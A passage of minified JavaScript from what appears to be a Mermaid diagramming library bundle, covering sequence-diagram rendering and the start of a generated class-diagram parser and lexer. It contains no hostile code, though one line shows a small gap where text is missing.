NJe(y,f,T,n);mi.insertArrowHead(h),mi.insertArrowCrossHead(h),mi.insertArrowFilledHead(h),mi.insertSequenceNumber(h);function w(B,F){let G=ot.endActivation(B);G.starty+18>F&&(G.starty=F-6,F+=12),mi.drawActivation(h,G,F,Me,rC(B.from).length),ot.insert(G.startx,F-10,G.stopx,F)}o(w,"activeEnd");let k=1,A=1,C=[],R=[],I=0;for(let B of y){let F,G,$;switch(B.type){case n.db.LINETYPE.NOTE:ot.resetVerticalPos(),G=B.noteModel,await TJe(h,G);break;case n.db.LINETYPE.ACTIVE_START:ot.newActivation(B,h,f);break;case n.db.LINETYPE.ACTIVE_END:w(B,ot.getVerticalPos());break;case n.db.LINETYPE.LOOP_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.LOOP_END:F=ot.endLoop(),await mi.drawLoop(h,F,"loop",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.RECT_START:ru(S,B,Me.boxMargin,Me.boxMargin,U=>ot.newLoop(void 0,U.message));break;case n.db.LINETYPE.RECT_END:F=ot.endLoop(),R.push(F),ot.models.addLoop(F),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos());break;case n.db.LINETYPE.OPT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.OPT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"opt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.ALT_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.ALT_ELSE:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.ALT_END:F=ot.endLoop(),await mi.drawLoop(h,F,"alt",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U)),ot.saveVerticalPos();break;case n.db.LINETYPE.PAR_AND:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.PAR_END:F=ot.endLoop(),await mi.drawLoop(h,F,"par",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.AUTONUMBER:k=B.message.start||k,A=B.message.step||A,B.message.visible?n.db.enableSequenceNumbers():n.db.disableSequenceNumbers();break;case n.db.LINETYPE.CRITICAL_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.CRITICAL_OPTION:ru(S,B,Me.boxMargin+Me.boxTextMargin,Me.boxMargin,U=>ot.addSectionToLoop(U));break;case n.db.LINETYPE.CRITICAL_END:F=ot.endLoop(),await mi.drawLoop(h,F,"critical",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;case n.db.LINETYPE.BREAK_START:ru(S,B,Me.boxMargin,Me.boxMargin+Me.boxTextMargin,U=>ot.newLoop(U));break;case n.db.LINETYPE.BREAK_END:F=ot.endLoop(),await mi.drawLoop(h,F,"break",Me),ot.bumpVerticalPos(F.stopy-ot.getVerticalPos()),ot.models.addLoop(F);break;default:try{$=B.msgModel,$.starty=ot.getVerticalPos(),$.sequenceIndex=k,$.sequenceVisible=n.db.showSequenceNumbers();let U=await wJe(h,$);SJe(B,$,U,I,f,d,p),C.push({messageModel:$,lineStartY:U}),ot.models.addMessage($)}catch(U){X.error("error while drawing message",U)}}[n.db.LINETYPE.SOLID_OPEN,n.db.LINETYPE.DOTTED_OPEN,n.db.LINETYPE.SOLID,n.db.LINETYPE.DOTTED,n.db.LINETYPE.SOLID_CROSS,n.db.LINETYPE.DOTTED_CROSS,n.db.LINETYPE.SOLID_POINT,n.db.LINETYPE.DOTTED_POINT,n.db.LINETYPE.BIDIRECTIONAL_SOLID,n.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(B.type)&&(k=k+A),I++}X.debug("createdActors",d),X.debug("destroyedActors",p),await i$(h,f,g,!1);for(let B of C)await kJe(h,B.messageModel,B.lineStartY,n);Me.mirrorActors&&await i$(h,f,g,!0),R.forEach(B=>mi.drawBackgroundRect(h,B)),r$(h,f,g,Me);for(let B of ot.models.boxes){B.height=ot.getVerticalPos()-B.y,ot.insert(B.x,B.y,B.x+B.width,B.height);let F=Me.boxMargin*2;B.startx=B.x-F,B.starty=B.y-F*.25,B.stopx=B.startx+B.width+2*F,B.stopy=B.starty+B.height+F*.75,B.stroke="rgb(0,0,0, 0.5)",mi.drawBox(h,B,Me)}x&&ot.bumpVerticalPos(Me.boxMargin);let L=Vye(h,f,g,u),{bounds:E}=ot.getBounds();E.startx===void 0&&(E.startx=0),E.starty===void 0&&(E.starty=0),E.stopx===void 0&&(E.stopx=0),E.stopy===void 0&&(E.stopy=0);let D=E.stopy-E.starty;D2,d=o(y=>l?-y:y,"adjustValue");t.from===t.to?h=u:(t.activate&&!f&&(h+=d(Me.activationWidth/2-1)),[r.db.LINETYPE.SOLID_OPEN,r.db.LINETYPE.DOTTED_OPEN].includes(t.type)||(h+=d(3)),[r.db.LINETYPE.BIDIRECTIONAL_SOLID,r.db.LINETYPE.BIDIRECTIONAL_DOTTED].includes(t.type)&&(u-=d(3)));let p=[n,i,a,s],m=Math.abs(u-h);t.wrap&&t.message&&(t.message=qt.wrapLabel(t.message,tt.getMax(m+2*Me.wrapPadding,Me.width),l0(Me)));let g=qt.calculateTextDimensions(t.message,l0(Me));return{width:tt.getMax(t.wrap?0:g.width+2*Me.wrapPadding,m+2*Me.wrapPadding,Me.width),height:0,startx:u,stopx:h,starty:0,stopy:0,message:t.message,type:t.type,wrap:t.wrap,fromBounds:Math.min.apply(null,p),toBounds:Math.max.apply(null,p)}},"buildMessageModel"),NJe=o(async function(t,e,r,n){let i={},a=[],s,l,u;for(let h of t){switch(h.type){case n.db.LINETYPE.LOOP_START:case n.db.LINETYPE.ALT_START:case n.db.LINETYPE.OPT_START:case n.db.LINETYPE.PAR_START:case n.db.LINETYPE.PAR_OVER_START:case n.db.LINETYPE.CRITICAL_START:case n.db.LINETYPE.BREAK_START:a.push({id:h.id,msg:h.message,from:Number.MAX_SAFE_INTEGER,to:Number.MIN_SAFE_INTEGER,width:0});break;case n.db.LINETYPE.ALT_ELSE:case n.db.LINETYPE.PAR_AND:case n.db.LINETYPE.CRITICAL_OPTION:h.message&&(s=a.pop(),i[s.id]=s,i[h.id]=s,a.push(s));break;case n.db.LINETYPE.LOOP_END:case n.db.LINETYPE.ALT_END:case n.db.LINETYPE.OPT_END:case n.db.LINETYPE.PAR_END:case n.db.LINETYPE.CRITICAL_END:case n.db.LINETYPE.BREAK_END:s=a.pop(),i[s.id]=s;break;case n.db.LINETYPE.ACTIVE_START:{let d=e.get(h.from?h.from:h.to.actor),p=rC(h.from?h.from:h.to.actor).length,m=d.x+d.width/2+(p-1)*Me.activationWidth/2,g={startx:m,stopx:m+Me.activationWidth,actor:h.from,enabled:!0};ot.activations.push(g)}break;case n.db.LINETYPE.ACTIVE_END:{let d=ot.activations.map(p=>p.actor).lastIndexOf(h.from);ot.activations.splice(d,1).splice(0,1)}break}h.placement!==void 0?(l=await LJe(h,e,n),h.noteModel=l,a.forEach(d=>{s=d,s.from=tt.getMin(s.from,l.startx),s.to=tt.getMax(s.to,l.startx+l.width),s.width=tt.getMax(s.width,Math.abs(s.from-s.to))-Me.labelBoxWidth})):(u=RJe(h,e,n),h.msgModel=u,u.startx&&u.stopx&&a.length>0&&a.forEach(d=>{if(s=d,u.startx===u.stopx){let p=e.get(h.from),m=e.get(h.to);s.from=tt.getMin(p.x-u.width/2,p.x-p.width/2,s.from),s.to=tt.getMax(m.x+u.width/2,m.x+p.width/2,s.to),s.width=tt.getMax(s.width,Math.abs(s.to-s.from))-Me.labelBoxWidth}else s.from=tt.getMin(u.startx,s.from),s.to=tt.getMax(u.stopx,s.to),s.width=tt.getMax(s.width,u.width)-Me.labelBoxWidth}))}return ot.activations=[],X.debug("Loop type widths:",i),i},"calculateLoopBounds"),Hye={bounds:ot,drawActors:i$,drawActorsPopup:Vye,setConf:Uye,draw:CJe}});var Wye={};dr(Wye,{diagram:()=>MJe});var MJe,Yye=N(()=>{"use strict";Iye();e$();Pye();Xt();qye();MJe={parser:Mye,get db(){return new J6},renderer:Hye,styles:Oye,init:o(t=>{t.sequence||(t.sequence={}),t.wrap&&(t.sequence.wrap=t.wrap,nv({sequence:{wrap:t.wrap}}))},"init")}});var a$,nC,s$=N(()=>{"use strict";a$=(function(){var t=o(function(Ie,Ne,Ce,Fe){for(Ce=Ce||{},Fe=Ie.length;Fe--;Ce[Ie[Fe]]=Ne);return Ce},"o"),e=[1,18],r=[1,19],n=[1,20],i=[1,41],a=[1,42],s=[1,26],l=[1,24],u=[1,25],h=[1,32],f=[1,33],d=[1,34],p=[1,45],m=[1,35],g=[1,36],y=[1,37],v=[1,38],x=[1,27],b=[1,28],T=[1,29],S=[1,30],w=[1,31],k=[1,44],A=[1,46],C=[1,43],R=[1,47],I=[1,9],L=[1,8,9],E=[1,58],D=[1,59],_=[1,60],O=[1,61],M=[1,62],P=[1,63],B=[1,64],F=[1,8,9,41],G=[1,76],$=[1,8,9,12,13,22,39,41,44,68,69,70,71,72,73,74,79,81],U=[1,8,9,12,13,18,20,22,39,41,44,50,60,68,69,70,71,72,73,74,79,81,86,100,102,103],j=[13,60,86,100,102,103],te=[13,60,73,74,86,100,102,103],Y=[13,60,68,69,70,71,72,86,100,102,103],oe=[1,100],J=[1,117],ue=[1,113],re=[1,109],ee=[1,115],Z=[1,110],K=[1,111],ae=[1,112],Q=[1,114],de=[1,116],ne=[22,48,60,61,82,86,87,88,89,90],Te=[1,8,9,39,41,44],q=[1,8,9,22],Ve=[1,145],pe=[1,8,9,61],Be=[1,8,9,22,48,60,61,82,86,87,88,89,90],Ye={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mermaidDoc:4,statements:5,graphConfig:6,CLASS_DIAGRAM:7,NEWLINE:8,EOF:9,statement:10,classLabel:11,SQS:12,STR:13,SQE:14,namespaceName:15,alphaNumToken:16,classLiteralName:17,DOT:18,className:19,GENERICTYPE:20,relationStatement:21,LABEL:22,namespaceStatement:23,classStatement:24,memberStatement:25,annotationStatement:26,clickStatement:27,styleStatement:28,cssClassStatement:29,noteStatement:30,classDefStatement:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_descr_multiline_value:37,namespaceIdentifier:38,STRUCT_START:39,classStatements:40,STRUCT_STOP:41,NAMESPACE:42,classIdentifier:43,STYLE_SEPARATOR:44,members:45,CLASS:46,emptyBody:47,SPACE:48,ANNOTATION_START:49,ANNOTATION_END:50,MEMBER:51,SEPARATOR:52,relation:53,NOTE_FOR:54,noteText:55,NOTE:56,CLASSDEF:57,classList:58,stylesOpt:59,ALPHA:60,COMMA:61,direction_tb:62,direction_bt:63,direction_rl:64,direction_lr:65,relationType:66,lineType:67,AGGREGATION:68,EXTENSION:69,COMPOSITION:70,DEPENDENCY:71,LOLLIPOP:72,LINE:73,DOTTED_LINE:74,CALLBACK:75,LINK:76,LINK_TARGET:77,CLICK:78,CALLBACK_NAME:79,CALLBACK_ARGS:80,HREF:81,STYLE:82,CSSCLASS:83,style:84,styleComponent:85,NUM:86,COLON:87,UNIT:88,BRKT:89,PCT:90,commentToken:91,textToken:92,graphCodeTokens:93,textNoTagsToken:94,TAGSTART:95,TAGEND:96,"==":97,"--":98,DEFAULT:99,MINUS:100,keywords:101,UNICODE_TEXT:102,BQUOTE_STR:103,$accept:0,$end:1},terminals_:{2:"error",7:"CLASS_DIAGRAM",8:"NEWLINE",9:"EOF",12:"SQS",13:"STR",14:"SQE",18:"DOT",20:"GENERICTYPE",22:"LABEL",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",39:"STRUCT_START",41:"STRUCT_STOP",42:"NAMESPACE",44:"STYLE_SEPARATOR",46:"CLASS",48:"SPACE",49:"ANNOTATION_START",50:"ANNOTATION_END",51:"MEMBER",52:"SEPARATOR",54:"NOTE_FOR",56:"NOTE",57:"CLASSDEF",60:"ALPHA",61:"COMMA",62:"direction_tb",63:"direction_bt",64:"direction_rl",65:"direction_lr",68:"AGGREGATION",69:"EXTENSION",70:"COMPOSITION",71:"DEPENDENCY",72:"LOLLIPOP",73:"LINE",74:"DOTTED_LINE",75:"CALLBACK",76:"LINK",77:"LINK_TARGET",78:"CLICK",79:"CALLBACK_NAME",80:"CALLBACK_ARGS",81:"HREF",82:"STYLE",83:"CSSCLASS",86:"NUM",87:"COLON",88:"UNIT",89:"BRKT",90:"PCT",93:"graphCodeTokens",95:"TAGSTART",96:"TAGEND",97:"==",98:"--",99:"DEFAULT",100:"MINUS",101:"keywords",102:"UNICODE_TEXT",103:"BQUOTE_STR"},productions_:[0,[3,1],[3,1],[4,1],[6,4],[5,1],[5,2],[5,3],[11,3],[15,1],[15,1],[15,3],[15,2],[19,1],[19,3],[19,1],[19,2],[19,2],[19,2],[10,1],[10,2],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,2],[10,2],[10,1],[23,4],[23,5],[38,2],[40,1],[40,2],[40,3],[24,1],[24,3],[24,4],[24,3],[24,6],[43,2],[43,3],[47,0],[47,2],[47,2],[26,4],[45,1],[45,2],[25,1],[25,2],[25,1],[25,1],[21,3],[21,4],[21,4],[21,5],[30,3],[30,2],[31,3],[58,1],[58,3],[32,1],[32,1],[32,1],[32,1],[53,3],[53,2],[53,2],[53,1],[66,1],[66,1],[66,1],[66,1],[66,1],[67,1],[67,1],[27,3],[27,4],[27,3],[27,4],[27,4],[27,5],[27,3],[27,4],[27,4],[27,5],[27,4],[27,5],[27,5],[27,6],[28,3],[29,3],[59,1],[59,3],[84,1],[84,2],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[91,1],[91,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[94,1],[94,1],[94,1],[94,1],[16,1],[16,1],[16,1],[16,1],[17,1],[55,1]],performAction:o(function(Ne,Ce,Fe,fe,xe,W,he){var z=W.length-1;switch(xe){case 8:this.$=W[z-1];break;case 9:case 10:case 13:case 15:this.$=W[z];break;case 11:case 14:this.$=W[z-2]+"."+W[z];break;case 12:case 16:this.$=W[z-1]+W[z];break;case 17:case 18:this.$=W[z-1]+"~"+W[z]+"~";break;case 19:fe.addRelation(W[z]);break;case 20:W[z-1].title=fe.cleanupLabel(W[z]),fe.addRelation(W[z-1]);break;case 31:this.$=W[z].trim(),fe.setAccTitle(this.$);break;case 32:case 33:this.$=W[z].trim(),fe.setAccDescription(this.$);break;case 34:fe.addClassesToNamespace(W[z-3],W[z-1]);break;case 35:fe.addClassesToNamespace(W[z-4],W[z-1]);break;case 36:this.$=W[z],fe.addNamespace(W[z]);break;case 37:this.$=[W[z]];break;case 38:this.$=[W[z-1]];break;case 39:W[z].unshift(W[z-2]),this.$=W[z];break;case 41:fe.setCssClass(W[z-2],W[z]);break;case 42:fe.addMembers(W[z-3],W[z-1]);break;case 44:fe.setCssClass(W[z-5],W[z-3]),fe.addMembers(W[z-5],W[z-1]);break;case 45:this.$=W[z],fe.addClass(W[z]);break;case 46:this.$=W[z-1],fe.addClass(W[z-1]),fe.setClassLabel(W[z-1],W[z]);break;case 50:fe.addAnnotation(W[z],W[z-2]);break;case 51:case 64:this.$=[W[z]];break;case 52:W[z].push(W[z-1]),this.$=W[z];break;case 53:break;case 54:fe.addMember(W[z-1],fe.cleanupLabel(W[z]));break;case 55:break;case 56:break;case 57:this.$={id1:W[z-2],id2:W[z],relation:W[z-1],relationTitle1:"none",relationTitle2:"none"};break;case 58:this.$={id1:W[z-3],id2:W[z],relation:W[z-1],relationTitle1:W[z-2],relationTitle2:"none"};break;case 59:this.$={id1:W[z-3],id2:W[z],relation:W[z-2],relationTitle1:"none",relationTitle2:W[z-1]};break;case 60:this.$={id1:W[z-4],id2:W[z],relation:W[z-2],relationTitle1:W[z-3],relationTitle2:W[z-1]};break;case 61:fe.addNote(W[z],W[z-1]);break;case 62:fe.addNote(W[z]);break;case 63:this.$=W[z-2],fe.defineClass(W[z-1],W[z]);break;case 65:this.$=W[z-2].concat([W[z]]);break;case 66:fe.setDirection("TB");break;case 67:fe.setDirection("BT");break;case 68:fe.setDirection("RL");break;case 69:fe.setDirection("LR");break;case 70:this.$={type1:W[z-2],type2:W[z],lineType:W[z-1]};break;case 71:this.$={type1:"none",type2:W[z],lineType:W[z-1]};break;case 72:this.$={type1:W[z-1],type2:"none",lineType:W[z]};break;case 73:this.$={type1:"none",type2:"none",lineType:W[z]};break;case 74:this.$=fe.relationType.AGGREGATION;break;case 75:this.$=fe.relationType.EXTENSION;break;case 76:this.$=fe.relationType.COMPOSITION;break;case 77:this.$=fe.relationType.DEPENDENCY;break;case 78:this.$=fe.relationType.LOLLIPOP;break;case 79:this.$=fe.lineType.LINE;break;case 80:this.$=fe.lineType.DOTTED_LINE;break;case 81:case 87:this.$=W[z-2],fe.setClickEvent(W[z-1],W[z]);break;case 82:case 88:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 83:this.$=W[z-2],fe.setLink(W[z-1],W[z]);break;case 84:this.$=W[z-3],fe.setLink(W[z-2],W[z-1],W[z]);break;case 85:this.$=W[z-3],fe.setLink(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 86:this.$=W[z-4],fe.setLink(W[z-3],W[z-2],W[z]),fe.setTooltip(W[z-3],W[z-1]);break;case 89:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1],W[z]);break;case 90:this.$=W[z-4],fe.setClickEvent(W[z-3],W[z-2],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 91:this.$=W[z-3],fe.setLink(W[z-2],W[z]);break;case 92:this.$=W[z-4],fe.setLink(W[z-3],W[z-1],W[z]);break;case 93:this.$=W[z-4],fe.setLink(W[z-3],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 94:this.$=W[z-5],fe.setLink(W[z-4],W[z-2],W[z]),fe.setTooltip(W[z-4],W[z-1]);break;case 95:this.$=W[z-2],fe.setCssStyle(W[z-1],W[z]);break;case 96:fe.setCssClass(W[z-1],W[z]);break;case 97:this.$=[W[z]];break;case 98:W[z-2].push(W[z]),this.$=W[z-2];break;case 100:this.$=W[z-1]+W[z];break}},"anonymous"),table:[{3:1,4:2,5:3,6:4,7:[1,6],10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,3]},t(I,[2,5],{8:[1,48]}),{8:[1,49]},t(L,[2,19],{22:[1,50]}),t(L,[2,21]),t(L,[2,22]),t(L,[2,23]),t(L,[2,24]),t(L,[2,25]),t(L,[2,26]),t(L,[2,27]),t(L,[2,28]),t(L,[2,29]),t(L,[2,30]),{34:[1,51]},{36:[1,52]},t(L,[2,33]),t(L,[2,53],{53:53,66:56,67:57,13:[1,54],22:[1,55],68:E,69:D,70:_,71:O,72:M,73:P,74:B}),{39:[1,65]},t(F,[2,40],{39:[1,67],44:[1,66]}),t(L,[2,55]),t(L,[2,56]),{16:68,60:p,86:k,100:A,102:C},{16:39,17:40,19:69,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:70,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:71,60:p,86:k,100:A,102:C,103:R},{60:[1,72]},{13:[1,73]},{16:39,17:40,19:74,60:p,86:k,100:A,102:C,103:R},{13:G,55:75},{58:77,60:[1,78]},t(L,[2,66]),t(L,[2,67]),t(L,[2,68]),t(L,[2,69]),t($,[2,13],{16:39,17:40,19:80,18:[1,79],20:[1,81],60:p,86:k,100:A,102:C,103:R}),t($,[2,15],{20:[1,82]}),{15:83,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:86,60:p,86:k,100:A,102:C,103:R},t(U,[2,123]),t(U,[2,124]),t(U,[2,125]),t(U,[2,126]),t([1,8,9,12,13,20,22,39,41,44,68,69,70,71,72,73,74,79,81],[2,127]),t(I,[2,6],{10:5,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,19:21,38:22,43:23,16:39,17:40,5:87,33:e,35:r,37:n,42:i,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R}),{5:88,10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},t(L,[2,20]),t(L,[2,31]),t(L,[2,32]),{13:[1,90],16:39,17:40,19:89,60:p,86:k,100:A,102:C,103:R},{53:91,66:56,67:57,68:E,69:D,70:_,71:O,72:M,73:P,74:B},t(L,[2,54]),{67:92,73:P,74:B},t(j,[2,73],{66:93,68:E,69:D,70:_,71:O,72:M}),t(te,[2,74]),t(te,[2,75]),t(te,[2,76]),t(te,[2,77]),t(te,[2,78]),t(Y,[2,79]),t(Y,[2,80]),{8:[1,95],24:96,40:94,43:23,46:a},{16:97,60:p,86:k,100:A,102:C},{41:[1,99],45:98,51:oe},{50:[1,101]},{13:[1,102]},{13:[1,103]},{79:[1,104],81:[1,105]},{22:J,48:ue,59:106,60:re,82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},{60:[1,118]},{13:G,55:119},t(L,[2,62]),t(L,[2,128]),{22:J,48:ue,59:120,60:re,61:[1,121],82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(ne,[2,64]),{16:39,17:40,19:122,60:p,86:k,100:A,102:C,103:R},t($,[2,16]),t($,[2,17]),t($,[2,18]),{39:[2,36]},{15:124,16:84,17:85,18:[1,123],39:[2,9],60:p,86:k,100:A,102:C,103:R},{39:[2,10]},t(Te,[2,45],{11:125,12:[1,126]}),t(I,[2,7]),{9:[1,127]},t(q,[2,57]),{16:39,17:40,19:128,60:p,86:k,100:A,102:C,103:R},{13:[1,130],16:39,17:40,19:129,60:p,86:k,100:A,102:C,103:R},t(j,[2,72],{66:131,68:E,69:D,70:_,71:O,72:M}),t(j,[2,71]),{41:[1,132]},{24:96,40:133,43:23,46:a},{8:[1,134],41:[2,37]},t(F,[2,41],{39:[1,135]}),{41:[1,136]},t(F,[2,43]),{41:[2,51],45:137,51:oe},{16:39,17:40,19:138,60:p,86:k,100:A,102:C,103:R},t(L,[2,81],{13:[1,139]}),t(L,[2,83],{13:[1,141],77:[1,140]}),t(L,[2,87],{13:[1,142],80:[1,143]}),{13:[1,144]},t(L,[2,95],{61:Ve}),t(pe,[2,97],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Be,[2,99]),t(Be,[2,101]),t(Be,[2,102]),t(Be,[2,103]),t(Be,[2,104]),t(Be,[2,105]),t(Be,[2,106]),t(Be,[2,107]),t(Be,[2,108]),t(Be,[2,109]),t(L,[2,96]),t(L,[2,61]),t(L,[2,63],{61:Ve}),{60:[1,147]},t($,[2,14]),{15:148,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{39:[2,12]},t(Te,[2,46]),{13:[1,149]},{1:[2,4]},t(q,[2,59]),t(q,[2,58]),{16:39,17:40,19:150,60:p,86:k,100:A,102:C,103:R},t(j,[2,70]),t(L,[2,34]),{41:[1,151]},{24:96,40:152,41:[2,38],43:23,46:a},{45:153,51:oe},t(F,[2,42]),{41:[2,52]},t(L,[2,50]),t(L,[2,82]),t(L,[2,84]),t(L,[2,85],{77:[1,154]}),t(L,[2,88]),t(L,[2,89],{13:[1,155]}),t(L,[2,91],{13:[1,157],77:[1,156]}),{22:J,48:ue,60:re,82:ee,84:158,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(Be,[2,100]),t(ne,[2,65]),{39:[2,11]},{14:[1,159]},t(q,[2,60]),t(L,[2,35]),{41:[2,39]},{41:[1,160]},t(L,[2,86]),t(L,[2,90]),t(L,[2,92]),t(L,[2,93],{77:[1,161]}),t(pe,[2,98],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Te,[2,8]),t(F,[2,44]),t(L,[2,94])],defaultActions:{2:[2,1],3:[2,2],4:[2,3],83:[2,36],85:[2,10],124:[2,12],127:[2,4],137:[2,52],148:[2,11],152:[2,39]},parseError:o(function(Ne,Ce){if(Ce.recoverable)this.trace(Ne);else{var Fe=new Error(Ne);throw Fe.hash=Ce,Fe}},"parseError"),parse:o(function(Ne){var Ce=this,Fe=[0],fe=[],xe=[null],W=[],he=this.table,z="",se=0,le=0,ke=0,ve=2,ye=1,Re=W.slice.call(arguments,1),_e=Object.create(this.lexer),ze={yy:{}};for(var Ke in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ke)&&(ze.yy[Ke]=this.yy[Ke]);_e.setInput(Ne,ze.yy),ze.yy.lexer=_e,ze.yy.parser=this,typeof _e.yylloc>"u"&&(_e.yylloc={});var xt=_e.yylloc;W.push(xt);var We=_e.options&&_e.options.ranges;typeof ze.yy.parseError=="function"?this.parseError=ze.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Oe(_t){Fe.length=Fe.length-2*_t,xe.length=xe.length-_t,W.length=W.length-_t}o(Oe,"popStack");function et(){var _t;return _t=fe.pop()||_e.lex()||ye,typeof _t!="number"&&(_t instanceof Array&&(fe=_t,_t=fe.pop()),_t=Ce.symbols_[_t]||_t),_t}o(et,"lex");for(var Ue,lt,Gt,vt,Lt,dt,nt={},bt,wt,yt,ft;;){if(Gt=Fe[Fe.length-1],this.defaultActions[Gt]?vt=this.defaultActions[Gt]:((Ue===null||typeof Ue>"u")&&(Ue=et()),vt=he[Gt]&&he[Gt][Ue]),typeof vt>"u"||!vt.length||!vt[0]){var Ur="";ft=[];for(bt in he[Gt])this.terminals_[bt]&&bt>ve&&ft.push("'"+this.terminals_[bt]+"'");_e.showPosition?Ur="Parse error on line "+(se+1)+`: +`+_e.showPosition()+` +Expecting `+ft.join(", ")+", got '"+(this.terminals_[Ue]||Ue)+"'":Ur="Parse error on line "+(se+1)+": Unexpected "+(Ue==ye?"end of input":"'"+(this.terminals_[Ue]||Ue)+"'"),this.parseError(Ur,{text:_e.match,token:this.terminals_[Ue]||Ue,line:_e.yylineno,loc:xt,expected:ft})}if(vt[0]instanceof Array&&vt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Gt+", token: "+Ue);switch(vt[0]){case 1:Fe.push(Ue),xe.push(_e.yytext),W.push(_e.yylloc),Fe.push(vt[1]),Ue=null,lt?(Ue=lt,lt=null):(le=_e.yyleng,z=_e.yytext,se=_e.yylineno,xt=_e.yylloc,ke>0&&ke--);break;case 2:if(wt=this.productions_[vt[1]][1],nt.$=xe[xe.length-wt],nt._$={first_line:W[W.length-(wt||1)].first_line,last_line:W[W.length-1].last_line,first_column:W[W.length-(wt||1)].first_column,last_column:W[W.length-1].last_column},We&&(nt._$.range=[W[W.length-(wt||1)].range[0],W[W.length-1].range[1]]),dt=this.performAction.apply(nt,[z,le,se,ze.yy,vt[1],xe,W].concat(Re)),typeof dt<"u")return dt;wt&&(Fe=Fe.slice(0,-1*wt*2),xe=xe.slice(0,-1*wt),W=W.slice(0,-1*wt)),Fe.push(this.productions_[vt[1]][0]),xe.push(nt.$),W.push(nt._$),yt=he[Fe[Fe.length-2]][Fe[Fe.length-1]],Fe.push(yt);break;case 3:return!0}}return!0},"parse")},He=(function(){var Ie={EOF:1,parseError:o(function(Ce,Fe){if(this.yy.parser)this.yy.parser.parseError(Ce,Fe);else throw new Error(Ce)},"parseError"),setInput:o(function(Ne,Ce){return this.yy=Ce||this.yy||{},this._input=Ne,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Ne=this._input[0];this.yytext+=Ne,this.yyleng++,this.offset++,this.match+=Ne,this.matched+=Ne;var Ce=Ne.match(/(?:\r\n?|\n).*/g);return Ce?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Ne},"input"),unput:o(function(Ne){var Ce=Ne.length,Fe=Ne.split(/(?:\r\n?|\n)/g);this._input=Ne+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ce),this.offset-=Ce;var 